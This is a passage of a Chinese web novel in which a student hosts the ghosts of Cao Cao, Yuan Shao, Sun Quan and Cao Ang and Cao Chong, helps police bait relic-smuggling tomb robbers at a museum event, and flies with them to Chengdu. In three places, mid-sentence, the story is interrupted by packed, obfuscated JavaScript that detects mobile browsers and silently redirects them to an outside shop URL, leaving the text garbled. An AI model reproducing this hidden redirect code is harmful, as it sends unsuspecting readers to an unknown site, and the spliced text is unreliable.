“……”冲儿宝贝真是会赚钱也会花钱,花了钱还要谢谢爪子大保底的黑心商家。 诶不是,当年曹操提倡节俭,怎么一到后世就如此舍得了? 吕思彤正要说什么,视线落在曹冲手里的绿色袋子上,呼吸一窒。 只见那袋子上赫然写着“西湖龙井”四个字。 “这个?”曹冲提起来解释说,“我看家里的茶叶没了,父亲说那茶叶叫明前龙井,我也特意交代商家了,一定要世居西湖祖传手艺人亲自炒出来的才行。” “咯噔!”什么叫回旋镖啊? 当初充面子把安吉白茶说成明前龙井骗曹操,结果人家喝得喜欢直接让曹冲买,根本不给她继续骗的机会。 吕思彤心跳都慢了半拍,一斤特级明前龙井大概1000-1500,看这袋子应该没有多重。 吕思彤稍微放心了一点,但还是将曹冲的手机拿过来,原本是直接用她的账号密码支付,现在改为亲子付,每一笔都需要提交到她那边同意才行。 在确认没有其他的事情后,吕思彤带着四位老祖去学习坐地铁,为了方便也打折,去机器上充了四张交通卡。 第一次来到地下建筑的老祖们惊叹不已,和陵墓一样同为地下建筑,地铁却如此明亮整洁犹如白昼,再看着一个个自觉解下背包排队过安检的学生,更感叹后世素质之高。 吕思彤也不客气,说:“那是,咱们可是对标鸿都门学的大学生!” 地铁上三人无论是发型还是孙权的胡子,又或者是装满毛绒娃娃的小推车都十分引人注目,一路不少人对着四位老祖拍照,以为是附近拍戏的演员。 先回家把这些玩偶放好,本就狭小的书房在堆了老祖们换下来的几件服饰、宝剑,还有这些玩偶后,更显得狭小。 整理好了杂物,吕思彤把嘉宾证拿出来,把这周末安阳的活动给老祖们讲了一下,他们必然是想要去的。 但没有身份证,无法购买任何车票机票。 22.专家学者 高馆长还没有意识到突然变冷的气氛,拉着曹操一副自来熟的态度,像长辈一样搭着曹操的肩膀。 “哎哟,小曹呀,你的书法了得。先前我还以为都是小吕写的呢,就说她年纪轻轻怎么可能一个人钻研这么多人的书法。”一边说着还从文件包里掏出来了那份写在A4纸上的感谢信。 吕思彤正想提醒下老高注意社交距离,曹昂瞪得眼珠子都快冒火了。 “小曹同志,我有一些建议,你看愿意听吗?”岂料老高还真摆上长辈架子了。 “嗯?”曹操很是感兴趣地抬眉,他倒是挺喜欢听取各种意见的,点头说,“你且说来,我向来闻过则喜。” 高馆长说:“咱们谁也不知道曹操的字究竟什么样,只以‘衮雪’二字推断对吧。” 曹操点头说:“对,我不知道。” “曹操这人东征西战,是个有野心有谋略的人,同时又有一点对文人墨客的那种情操的向往。现在很多人都忽略了他的文学造诣,三曹三苏……”说一堆曹操没听过的人对他的评价,然后才绕到字的本身。 高馆长说:“你写这些字的时候,看得出是想努力往他汉中之后的年龄状态上去靠,反而弄巧成拙,笔势流露出了怯意,尤其这个大撇,像手抖了。” “……”曹操沉默,其实,就是手抖了。 写这感谢信的时候他们还没发现变化外貌的能力,那时是垂暮苍老的他。 常年拿兵器的手有很多茧子,虎口的经络钝伤严重,握笔的力道就很难控制。 “这样的字,是露怯吗。”曹操喃喃自语,心想也是,他对老去这件事情是那么地难以接受。 这字并不是少年故作深沉模仿老者,而是老者努力在掩盖自己的苍老。 衮雪,汉中之战。 刘备,刘玄德。 “你这可有刘备真迹?”突然想起老对头,曹操随意问了一声。 “我怎会有刘备真迹呢?”老高失笑,“我一个高陵馆长,连曹操的真迹都没有,衮雪石刻是汉中博物馆的。” 曹操闻言,意味深长地看着A4纸说:“你有的。” 老高笑了起来,拍拍曹操肩膀道:“哈哈哈哈,能写出九分形神兼备确实非常厉害,我原本以为这得六十岁以上的人才能写出来。毫不夸张地说,写在绢布上,做个旧,能骗到不少半门汉。” 吕思彤眼前一亮,心想这是个好主意,以后让老祖们去古玩市场摆摊卖字,不失为一个商机,就怕当事鬼们不乐意。 曹操下意识想捋胡子,捋了个空,便改为摸下巴,仔细思考着说:“一字可千金否?” 小吕总说穷,让他拉面子卖字是万万不可能的,除非价格合适,可以给人“题字”,收点润笔费。 袁绍轻笑一声,瞥了对白眼揶揄道:“真曹操的字未必都一字千金,你个小曹,还想一字千金?” 曹操失笑,反唇相讥道:“难道小袁的字,比得过曹操?毕竟你主·袁·本·初可是败给曹操的。” 好端端地怎么又能呛起来,大小姐真是一天不吵架就难受。 提到袁绍,高馆长想起来先前小吕到高陵念帛书的事情,会不会是这位袁绍粉帮忙。但是,袁绍没有任何真迹存世,也不知道这位粉丝研究个什么书法。 吕思彤看看袁绍,又看看曹操,两人都盯着她等她“说实话”。 吕思彤冷脸说:“就是我写的,看不起我吗,我就不能写出很厉害的隶书吗。” “没有没有,小吕同志思想觉悟又高,文化水平又高,我就随口一说。”老高连忙否认。 闲聊告一段落。 老高左右看了看,提醒说:“因为提前采访过你上了新闻,不确定会不会有那些人来现场查看,你到处留意一下。” 吕思彤一冷,说:“你们进场的安检过关的吧,我不会有危险吧?” “嗯……应该没事的。” “诶不是,什么叫应该没事的。”吕思彤急了,为了学分可以上刀山下火海,是因为这没有刀山和火海,但让她为了学分冒生命危险不行,因为她真的只有一条命。 高馆长拍拍她肩膀,到一旁说:“你放心,王局那边给我透露过,已经有人去和那个贩子接触过了,他是个小人物,源头是单向联系的,真有人来现场,那也只会是探子。” 吕思彤稍微舒了口气。 又听老高说:“但是现在不能确定那碎片经了几手,试想下,一个被他们认为没有价值,给到底层贩子碰瓷用的东西,却爆出了天价。” 吕思彤嘶了一声,问:“然后呢?” “总之,有什么不对劲你就联系王局。” “哦……” 交代完不久,一名接引人员跑过来告诉老高,另一组嘉宾到了。高馆长听后面色紧张又喜悦,便知晓十分重视。 “我先去迎接下嘉宾,你们先自己逛逛。”说完便招呼同事们全都一起过去迎接。 嘉宾到得差不多,老祖们也都往展馆场地去。 一路走去提到贩子的事情,让老祖们也帮忙留意。 孙权很是不理解,说:“为何不予廊下埋伏刀斧手,待有异样掷杯为号,贼可擒也。” 吕思彤解释说:“相当于你想要逮刘备,但来的可能是他下属的下属,甚至也不一定来。避免打草惊蛇。” “刘备。”孙权咬牙念了声,想起刘备指使小吕来坟头羞辱一事,正想问她什么时候去找刘备回禀,听到有人惊呼一声。 “曹操来了!真的是曹操!” 曹操没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|10897436|113232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到后世的小辈们竟能认出他来,但摸摸自己的脸庞还是年少之时,后世总不可能有他年轻的画像吧。 好奇的视线落在一名后世小辈手里的花束上,颇觉欣慰。 然而那后世小辈像风一样和他擦肩而过,一双炽热的眼睛盯着另一边,脚下步子飞快,与游客们都争先恐后。 曹操满头雾水,看向吕思彤说:“有人冒充我?” 吕思彤打开活动的册子看了看,说:“他们邀请了知名演员包老师才做宣传。” “?”曹操皱眉思索,这个小包演绎的角色他还是挺认可的,也难怪后世如此喜欢。 但现在,后世小辈们有个瞻仰魏武真容的机会! 这等好事,不能只给小吕一个人占,对吧。 “呵呵,也趁此机会与喜爱孤的后辈们聊聊。”曹操大步往展馆去。 啊??? 吕思彤吓得一哆嗦,连忙跟上前去劝说,不惜以50个抓娃娃币为代价,暂时说服曹操别上台找事。 随着主持人出场,活动也正式开始。 讲到本次的重点文物,丁夫人陶俑。 陶俑被放在钢化玻璃壳里,微微侧身的女子手中持着织布的梭子,似乎想要回头挽留什么但又没有挽留。 修复的陶俑特意保留了一些破碎的痕迹,所遭遇的困难也是考古价值,只是无人知晓,陶俑还有亲人在一旁看着。 曹昂低头不语,情绪再次低落,不明白为什么养母就是不愿意出现见见他。 吕思彤斟酌用词,说:“或是怕见了面还是放不下当年的事,反倒更伤心,岂会是不愿意见你。” 安慰几句后,听到台上的高馆长说到这件文物的收藏价值。 “往大了说,无价之宝。往小了说,八位数。” 历史价值是无法开价的,也不该开价,邀请来的其他专家都觉得奇怪。 “……”吕思彤心想这天价是真天价,未免有点吓人了。 敢经手这个数额的盗墓贼,那可太危险了,没准手里还有花生米发射器吧? 长叹一口气,瞥见曹操不知道什么时候走到了包老师边上去,试图攀谈。 “!!!” 但此时台上已经将文物介绍完毕,要进行下一个流程。 主持人说:“这次我们也很荣幸地有请到了‘曹操’,掌声有请!” 曹操一听,他们说的是曹操不是包老师,难道小吕帮忙解释过了? 包老师已经习惯了这些年不叫他本名叫曹操或者曹老师的称呼,站起来正要上台,刚才和他说话的年轻人却先一步走了上去。 那年轻人接过满脸疑惑的主持人手里的话筒,说:“孤,正是曹操。” “……”吕思彤悬着的心是彻底死了。 23.鱼儿上钩 这次的活动邀请了很多记者,虽说是为了钓盗墓贼而设下的圈套,撇开钓鱼这事,本身也是极好的宣传机会,所以各方面都很重视。 发生了流程之外的事情,也来不及求证,第一反应就是把人拽下来,生怕那陌生人在重大场合胡言乱语毁了这么件大事。 两名保安上前要将曹操“请”出去。 吕思彤头皮发麻,试图上前交涉,她才刚挪了半步,曹昂就先恼火起来,这几个小吏竟敢拉扯父亲!二话不说捋起袖子就要冲上去打架的样子。 “子脩冷静!”吕思彤连忙拽住曹昂。 曹昂横眉怒目,道:“他们怎敢如此失礼!请上去也是他们,赶下来也是他们,分明是故意戏弄!” “昂哥,昂爷!给我个面子,给我个面子。”吕思彤感觉浑身的血都冲到了头顶,眼前看见的画面都有一层发黑的阴影,脚趾快要抽筋。 不仅仅是曹昂,就连与曹操不和的袁绍孙权,此时也是有意帮曹操的,在后世这地方,他们再不愿意,彼此才是同类。 他们也听得清清楚楚,是主持人把曹操请上去的,又让人拽下来,岂有此理? 袁绍拧眉道:“欺人太甚,后世小辈如此目无尊长。” 吕思彤试图将人拽住,边上人齐刷刷地投来视线。 袁绍挣开了她的手,已经和孙权、曹昂兵分三路往台子过去,曹冲也很生气,但决定智取,跑去找高馆长。 “……”鲨了我吧。 尴尬到一定境界,突然就想明白了。 只要自己不在这,就尴尬不到她身上! 吕思彤在人群里略微蹲下些许,使得自己被遮掩在人群之中,然后转身悄悄地从人群背后溜出了博物馆。 背后传来一声惊呼:“吕太守你去哪里?!” 啊啊啊啊啊啊啊啊啊!!!饶了我吧!! 如芒在背,仿佛无数的视线化作利刃戳来。吕思彤飞快的转动脑筋,心想有什么办法是能把他们立刻调开的。 于是大呼一声:“许攸司马昭张辽贾诩大象!休走!” 袁绍一听许攸,立刻上头:要不是许攸出卖他的粮草重地,他就不可能输给曹操! 曹操一听司马昭,立刻上头:篡魏也就罢了,还当街杀了他曹家的小皇帝! 孙权一听张辽,立刻下头:老东西,死了还阴魂不散。 曹昂一听贾诩,立刻愤怒:奸贼,正是报仇之时! 曹冲一听大象,立刻震惊,中原地区怎么有大象?! 总之,先去看看! 老祖们二话不说拨开人群跑出展馆,只见自称脆皮大学生的吕思彤跑得飞快,一直跑出博物馆很远都快看不见人影了。 老祖们一路追赶上去,终于在路边看到了跑不动蹲下喘气的小吕。 “许攸/司马昭/张辽/贾诩何在?” 四位老祖异口同声地问。 吕思彤站起来跺了跺发麻的脚趾,说:“没追上,跑了。” 小神童曹冲跑得比较慢,走过来的时候还低头看着手机,似乎在搜索什么。 认真分析说:“许攸墓址不确定,可能在许昌,贾诩墓也在许昌;司马昭在崇阳陵,离此地亦远;张辽墓在合肥,衣冠冢。更远。” 言下之意这几人都不太可能出现在这,更不可能同时出现。 念完搜索结果,曹冲又问:“大象呢?” 谎言被揭穿的吕思彤面不改色,与其反思自己,不如PUA别人。 张嘴就是:“你们根本没有考虑过我的心情,大汉已经亡了很多年,我却还是像忠臣一样的侍奉你们,不是因为畏惧,是出于尊敬啊!” “我不是只占你们便宜有好处就安心接受,坏处就退缩,我……我只是希望你们也能考虑考虑我的处境。那天在学校发言的稿子,我认不全孙总的字,我一个字也没说,在那里站了很久,我想着要不算了,把东西全上交别管得了。但是我看到你们一路并肩走过来,那种感觉特别美好,我就明白了,我帮助你们不是为了你们,是为了弥补我自己心里的遗憾……” “可是你们却仗着我对你们的敬爱,任性妄为,半点不顾及我的颜面。” “呜呜呜呜哇。”吕思彤爆哭一声跑了,立刻打车往高铁站去。 老祖们被说沉默了,也不得不承认一直以来确实是把小吕当成了无怨无悔的“忠臣”,是对她“下令”,而不是“请求”。 曹昂有些羞愧,道:“此事怨孩儿,方才小吕让我给她个面子,我没有应下。” 曹操也拧眉道:“此事错在我,子脩无需自责,既已作古,怎还想着再如当年。” 袁绍和孙权也纷纷反思,换位思考,当时小吕的身份确实很尴尬,他们五个人是她带过来的,相当于她是担保人。而今日之事又是为了钓鱼盗墓贼,同样也是为了做文化宣传,不该有错,一旦闹起来,相当于是她毁了整个活动,压力自然是大。 高铁上。 吕思彤轻快地哼着歌曲调子,呲溜吃着香喷喷的泡面,心情极好地泡了一碗红烧牛肉面和一碗老坛酸菜面,眉头更是得意地跳动。 手机上是曹冲发来的消息,是五位老祖各自的道歉和感谢,确实不该将她当做下属,对于她的喜爱尊敬和帮助也都很欣慰,还说要给她加官进爵,又多了个洛阳令、冀州牧的名头。 “嘿嘿。”吕思彤脸上笑着,回复的消息却格外悲情。 [没关系的,我自己可以调整好心态的,即使如此,我还是会帮助你们的,因为你们都是我喜爱尊敬之人。] 嘿嘿,汉朝人真好骗。 离家还有一个多小时的路程,突然收到了冲儿的账单。 先前因为他乱买茶叶,已经把账号改为亲子付,每一笔消费她这边都能知晓,低于100无需批准,高于100需要她确定。 麦当当-49 霸王茶颜-95 海里捞-99 海里捞-89 海里捞-66 海里捞-96 海里捞-78 “……”吕思彤好心情瞬间没了,老祖们听了她那一段感人肺腑的言论还有心情吃大餐?而且还为了绕过她的批准分开支付?? 她在心情大好的时候吃了两碗泡面,老祖们被她批了一顿,却还有心情吃火锅。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|10906140|113232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 啊啊啊啊!!!! 泪腺要炸了,祖宗们啊!! 回到家的吕思彤垮着张脸,好吧好吧,看来自己果然是个无所谓的工具人,卖惨PUA都毫无作用。 换好鞋子抬头,看见老祖们已经先一步回家里了,当然那些才穿了一次的衣服就落在了高陵,还换上了家里并不算多么合身的校服西装卫衣之类。 吕思彤愣了愣,瞥见了放在桌子上的火锅。 曹冲笑着说:“我在口碑榜上找的,以前都没见过这东西,想尝尝看就点了送货上门,不过我们不知道该怎么用。” 几个老头也没变化样貌了,招呼道:“小吕回来的正好,水刚烧开,你快来指教指教。” 吕思彤心中有些感动,说:“好,嗝。” 回来时两碗泡面有点撑了。 教老祖们涮火锅的时候顺便打开电视机,晚上黄金档的新闻正是考古新发现丁夫人陶俑一事,以及文物的价值。结合前几天某学校学生无偿捐献重量级文物的新闻,出现的也是高陵馆长,自然而然知道那学生就是陶俑的上交者。 新闻播放没多久,体育老师就发来消息,说什么也要认识她的实习老板学鉴宝。吕思彤简单回了几句,想起交代的任务,又暗示体育老师如果还有什么捡漏的机会,可以有钱一起赚。 原本以为盗墓贼们在看到消息后会通过体育老师联系她,毕竟她除了付钱那一次和贩子是没有任何往来的。 汉朝时辣椒还没传入中原,所以曹冲点的鸳鸯锅都很清淡,老祖们仍旧对这赞不绝口。 “下次有机会还是得尝尝辣锅,微微辣。” 吕思彤刚放下筷子,接到了一个陌生电话,归属地未知。 电话那边的声音似乎也做了处理,十分警惕。 “三万的东西转手赚了多少?”对方很直接地问,身份也一下子就猜到了。 由于不确定是不是从体育老师那得来的联系方式,吕思彤有些担忧。 对方似乎也猜到她在想什么,接着报了一串信息,是她的学校和班级,以及家庭住址,甚至还有她父母的姓名。 吕思彤沉住气,不暴露自己的慌张,说:“电信诈骗?滚。” 然后挂断了电话,把这事给老祖们说了一下。 想弄到一个人的信息并不难,尤其是前几天学校表彰的事情上过新闻,从学校入手的话非常简单,学校可是有完整的学生档案的。 那边没料到会被挂电话,又打了过来,变了声的声音还是有几分无语。 “手里有货,你能洗干净,五五分。” 吕思彤反问:“我一个学生,你认真的?” “你能认得出那件陶俑,就不可能只是个学生,至少,背后肯定有高人指点。” 吕思彤也换了个正经语气,说:“我至少先看看年份吧。” 对方笑了笑,说:“你要有诚意,咱们换个地方见,谨慎点总没错。” “好,你定地点,我通知我的老板一声。” 对方说:“成都。” 触发关键词,老鬼们纷纷投来视线。 文物贩子是刘备??? 24.鱼儿上钩 挂断电话后,吕思彤联系了一下王局,把大概情况讲了讲,也还是比较担心自身和家人安危的。 “好,学校那边我们会去调查,如果对方再有电话打来,你先联系我们。” “好。” “你很机智,谎称是你老板做主,这样我们可以安排个人跟着一起去。”王局很是欣赏地说。 当初在背调的时候已经确认过,吕思彤目前还是学生未就业的状况,学校和小区的调查以及名下资金收入状况,并不存在什么实习公司,都以为是她对外谦虚的说辞。 “但是,我们的人员并不具备专业鉴定的知识,还得紧急培训一段时间。”能听得出王局有些苦恼,单向联系的源头,说明这伙贩子很谨慎,势力也不小。 吕思彤想了想,如果有警员一起行动,有太多束缚,便说:“最合适的人选是又有专业知识,又得是警员,是吗?” “那当然,你一个学生我们已经很不放心了,两个更难以照顾到。” “嗯……我这有个人选,对文物很有研究,以前当过首都的安保队长。”吕思彤瞄了眼正在捞鱼丸的曹操,曾任洛阳北部尉,怎么不算首都安保队长呢? 王局肃然起敬,这人脉牛呀。 突然怀疑背调查出来是个普普通通的学生,会不会是因为背景太厉害所以查不到底细?否则,一个真正的普通学生去哪里学的鉴定知识,又是怎么会认识以前在首都当过队长的人。 “你看方便把那人身份证和联系电话给我吗。” “恐怕不方便,他已经退休了,这次愿意帮忙也是看我面子,不想掺和太多。” “行,相信老前辈的能力,我们也会另外沟通便衣行事。到时候你的行程和食宿存好发票,凭票报销。当然,得是合理范围内的。” 和王局商量完事情,又有几条未读消息。 两条老高的,老高避开今天的矛盾不提,只说挺可惜她有事情先走,匆忙得行李箱都忘记拿,帮她托运到了高铁站,有空去拿。 两条爸妈的,看了新闻找她确认真假,吕思彤认下,还说自己要去成都几天,被挨了顿顾着玩的批评。 还有几条消息是剧组发来的,好几个感叹号直呼吕姐太牛了,前几天的新闻还以为是普通文物,没想到如此重量级! 一顿吹捧之后,副导演提出一个请求,说:能不能用这事来给剧组背书,去和投资商那边商量,哪怕对剧本做改动都行。 又说他和导演为了拍这小网剧,身家都押里面了。现在还垫着工作人员的工资,要是拿不到投资就此结束,血本无归得去天台了。 吕思彤看了眼在火锅里捞肉片的老祖们,回复消息问。 [大改剧本也可以?] 对方秒回:[只要能拉到投资,你想怎么改都行!] [行。]吕思彤回复。 放下手机,终于清理完了未读消息。 老祖们十分默契地投来视线,他们对剧组并不关心,比起网络上偶然得知的野史,魔改剧组正经得令人感动。 他们关心的只有两个字:成都。 鬼魂想跟着坐车坐飞机是再简单不过的事情了,就算她一个都不打算带,他们跟着去也不成问题。不过,与其到时候出岔子,不如提前约法三章。而且,牵扯到逮盗墓贼的大事,让她一个人独自行动也是万万不可的。 吕思彤有着丰富地被坑的经验,知道普通的约定起不到任何作用。 琢磨一阵后,吕思彤将杂物堆的宝剑拿了出来,说:“这次可提前说清楚了,谁违背誓言,我就把宝剑上交。曹总的上交到沧州,袁总的上交到安阳,孙总的上交到成都。” 这话的威慑力相当大,三个老头互相瞥了瞥,承诺一定听她的安排。 曹昂无异议,曹冲已经提前搜索了成都的介绍,一双眼睛闪烁着星星,手机屏幕上是黑白相间圆滚滚的熊猫。 果然还是个小孩子心性,对熊猫毫无抵抗力。 曹操孙权袁绍也凑过来看了眼,从没见过这东西。 “嗯,毛茸茸,怪有趣的,以前没见蜀地上贡过。”曹操咂咂嘴略有不满,冲儿看上去很喜欢这东西。 孙权说:“让小吕问刘玄德要一只,想必不难。” 吕思彤:“……”真看得起我,谢谢您了,这事刘邦来都要不到。 此去成都没有传送点,老祖们只能是鬼魂形态,因虚构了“老板”这个人物,所以她会带一套衣服过去,必要时让哪位老祖充当老板的身份。 “我会把五铢钱带着,尽量还是别走丢了,要是迷路了就自己传送回展品。”吕思彤仔细叮嘱。 “我们这么多人,就这一个东西。”袁绍很不满这五铢归属于曹操的事情,“我就说让你再去沧州取个东西来,别的你不敢拿,再拿个五铢钱也行。” 孙权表示认同,怂恿道:“我的陵墓没人知道位置,你偷偷去,拿了就走。” “……”那可太刑了,连环大盗吕思彤。 传送点确实是个难题。 之前也有尝试,从老祖们身上解下来的东西虽能依附魂魄,却无法作为传送点,可能是因为太新了。 现在曹家三人和袁绍都有个高陵的传送点,走散了还能让曹操送回来,权仔就比较麻烦了,他是一路附在剑上跟着坐车来的,要是出门走散就只能回明孝陵去了。 “等这次要是能立大功,再看能不能提要求。” 在等候王局安排的几天里还是正常上课,还得先和那边的官方沟通好配合,毕竟跨区域办事有太多不方便。 奇怪的是,自从新闻播放当天接到电话说了个大范围成都后,就没再收到电话了。对方也没有来询问她现在的位置,也不说具体的见面时间和地点。 又过了两天,王局那边来了消息,说已经和当地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|10929275|113232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沟通好,她出发的时候说一声就行,落地会有自己人在机场等她,不过她不用特意去找人汇合,都是暗中跟着。 吕思彤正在比对高铁票的价格,边上曹冲已经把手机主题换成了竹子,好心地帮忙看着出行的票,又看了看她的屏幕说:“为什么不坐飞机,比高铁快还便宜。” 一听飞机,其他几个鬼来了精神,觉得小吕该买机票。他们来到后世至今,最最好奇的就是这东西,听说能带着很多人飞,必然要尝试尝试,放以前只有传说中的神仙才会在天上。 “那玩意不安全,天上飞的,对吧。”吕思彤找借口,宁可多花点时间也要坐高铁。 袁绍捋了捋胡子,问:“小吕不会也没坐过飞机害怕吧?还不如我们这些老人家有尝试新玩意的气魄呢。” “哈哈,我岂会没坐过飞机,只是喜欢高铁沿途的风景罢了。” “唉,我们是真没坐过,唉,这点心愿都不肯满足,罢了。”不就是卖惨吗,老头们学得很快。 “……”吕思彤眉头紧皱,艰难地说,“行吧。” 几位老祖很是兴奋,孙权兴奋之余带着点紧张。袁绍和刘备不熟,毕竟死得太早。 曹操决定带壶青梅酒去,没找到售卖的地方,只好作罢。 坐地铁来到梅友机场,吕思彤硬着头皮假装很熟悉流程,有样学样跟着别人也还是完成了登机流程。 等上了飞机找到座位坐下,大概看了下没有满客,只坐了2/3的乘客,几位无法被看见的老祖也都找了位置坐下。 飞机缓缓起飞,一辈子脚没离过地的一人五鬼开始耳鸣反胃。 强撑了一会,曹操、袁绍两个老鬼先支撑不住,决定跑路回高陵的展品上,让吕思彤落地了再通知他们。 曹昂和曹冲看上去还好,只是有些耳鸣。 孙权晕机有些严重,偏偏他不能走,唯一一个小吕认识路的传送点在明孝陵,更坚定了让小吕去弄一个他专属文物放着的心思。 “呕……呕……” 鬼当然呕不出东西,孙权干呕了许久才逐渐适应机舱环境。瞥一眼边上蔫了的小吕,也没好到哪里去。 我们江东人擅水战,晕机很正常吧!有本事下回坐船! 适应后的孙权琢磨着到成都是刘备的地盘,知己知彼百战百胜,便让曹冲搜索一下刘备诸葛亮在后世的一些状况。 曹冲因为耳鸣严重,小脑袋的思考受到了些许影响,忘记了搜索一定要准确,不要只写两个人名。 孙权点开推荐第一篇。 好野的史! [凄然,是诸葛亮给自己起的新名字……他和刘备的……] [东吴使臣诸葛凄然,拜见蜀国皇帝陛下……] “嘶……”孙权倒吸一口冷气,头也不晕了,胃也不反了,就是脑瓜子更嗡了。 原来当年诸葛瑾说他弟失身是这个意思?! 25.鱼儿上钩 飞机落地,吕思彤大口呼吸着新鲜空气,在下机的空地稍微等了一会,看见曹昂先走了下来,然后站到一旁一起等候。 等到所有乘客都下来了,才看见缓缓走下来的曹冲和孙权,小可爱冲儿扶着有些虚弱的孙权,刚才降落的一阵颠簸孙权差点厥过去,这会儿又有点干呕。 取到了行李箱后,吕思彤给王局说了一声,没多久就接到了一个当地的号码。 对方自称李队,在简单说了几句后就说已经锁定她了,一切放心。 “……”就是听着有些怪,吕思彤挂断电话后就带着孙权曹昂和曹冲去找住的地方,路上回复了一些琐碎的消息。 办理好入住手续,把东西整理好,吕思彤将五铢钱拿出来通知了曹操一声,让他可以和袁绍过来了。 冲儿很是激动地给曹操分享飞机窗户外所见的景象,原来天上是这副模样。 来的时候曹操和孙权是最起劲的,但真到了这里落脚,孙权却变得格外沉默。 曹操看出他异样,笑着揶揄道:“仲谋,是天上晕眩症状尚未修整痊愈,还是,畏惧成都之地,多有仇人啊?” 孙权呵呵笑了声,反问:“我有何惧?刘玄德手下败将,该是他惧我。” “哦?”曹操看向吕思彤说,“既如此,不如就带仲谋去刘玄德陵墓所在,让他吓唬吓唬成都之主。” 实际上是他自己比较积极想去,只是碍于承诺了听从安排,提建议也先找个理由。 吕思彤必然是不想去的,五个老鬼已经很麻烦,再来个刘备就三巨头聚首……主要也是担心刘备这边还有关二、张三、赵四、武侯。 仔细琢磨了一下,理论上来说张飞在阆中、诸葛亮在定军山,同城的关羽是衣冠冢,另一个同城的赵云不在市区,相距甚远。 正要拒绝老祖们,那个只能单程呼入的神秘号码再次来电。 “你应该已经到成都了吧。”还是用了变声器的奇怪声音。 吕思彤也不避讳,直接问:“你是怎么知道我位置的,之前几天没出发也不见你催。” 对方停顿了一下,说:“我们当然有办法定位,既然你远道而来,说明有一定的诚意。但是我们这行,你也懂,谨慎起见。” 真不懂。 吕思彤撇撇嘴说:“又换地方?” “当然不是。”对方沉思了一下,“我们手里的东西,虽然破了些,但价值不低。” 吕思彤有些嫌弃,说:“怎么又是破的。” “不破也轮不到你们捡漏啊。”对方一听还不乐意了,三万的陶俑碎片估价千万,想想都气,但要说这东西不修复赋予历史价值,也确实只是一堆碎片。 “我们老板可不是捡破烂的,你得说清楚是什么东西吧。” 对方沉默了一会,说:“玉俑。” “你们和俑是不是过不去吗?” 俑是陪葬品的一种,必然不像其他东西好出手,要说正儿八经的收藏,谁在家里摆个陪葬品。 按照法律规定,对过往收藏和“祖传”的东西不做追究,花瓶、字画、甚至漆器青铜器都能说成是祖传的,唯独俑这东西,哪个好人家会把祖坟的俑刨出来当收藏品的? 一听到这个种类,吕思彤就知道这件事情是自己占优势。 高陵活动夸大宣传,目的就是为了让贩子误会是洗白的门路,俑这个东西,尤其是破碎的俑,除了官方会耗时耗力去修复补救,其他无论贩子还是收藏家都不会正眼多看一眼。 这伙贩子没有其他的门路出手,又舍不得碎片可能换来的巨款。 基于这个原因,吕思彤觉得还能继续试探。 “这事我也说实话,我们老板只赚了500,你懂这个意思吧。” “谁不懂啊,指望这东西赚钱风险太高。”对方的声音里透露出意思轻蔑,让吕思彤感觉两人说的不是同一件事情。 想起老高和王局给她科普过的,慈善抵税,大概就是这个意思。 还没踏上社会的吕思彤仍旧不懂具体操作,总之就是捐出去的钱和东西不是白捐的,也有另外的好处。 “玉俑也分年份,能再具体些吗。” 对方突然嗤笑一声,问:“你觉得为什么选来成都?” 吕思彤眉头紧皱,突然一惊,问:“不会是……刘……” “打住。” 我炒?!刘备死后埋葬的一直被好好保护着的陵墓也被盗过?? 吕思彤还没从震惊中缓过神来,这群玩意可真是无孔不入啊! 刑,太刑了! 单听着都觉得手抖。 边上几位一起听着的老祖们却有几分幸灾乐祸,随后才转为同病相怜。 对方又再次提到了诚意二字,说:“总得有个投名状。”就像武侠剧里进魔教,得噶个人表态,这就叫投名状。 吕思彤吸了口冷气,询问具体。 对方说:“至少给我们看看老板的实力吧。” 说完,对方挂断了电话,并且有一个默认头像的人申请了好友。 通过之后,只有系统默认的打招呼,没有再发消息。就静静躺在列表里,像是在等她发“实力”过去。 吕思彤有些苦恼,说:“没办法,只能去找备备商量下了。” “备备?”孙权曹操袁绍都投来疑惑的眼神。 吕思彤立刻改口,说:“我是说,刘备那个逆贼!” 老祖们得知她要去昭烈庙很高兴,尤其是曹操,他先亡于刘备,至死是个魏王。而刘备口口声声说为汉室,却自立为王,又称帝。 自该是当面去奚落几分。 孙权神色不自然,不想去,又不能不去,否则曹贼就要先笑话他。 几次推脱,最终还是一起出了门。 吕思彤刚走出宾馆大门,就收到了李队的消息,询问她行程。 吕思彤回复说:我们要去一趟昭烈庙。 李队了然,回复道:哦哦明白,玄亮粉必去的朝圣地! “……”预料之中从天而降的粉籍,又说不上哪里不对。 仔细一想,这可是成都,就不奇怪了。 老祖们瞄了眼她的屏幕,通过一阵 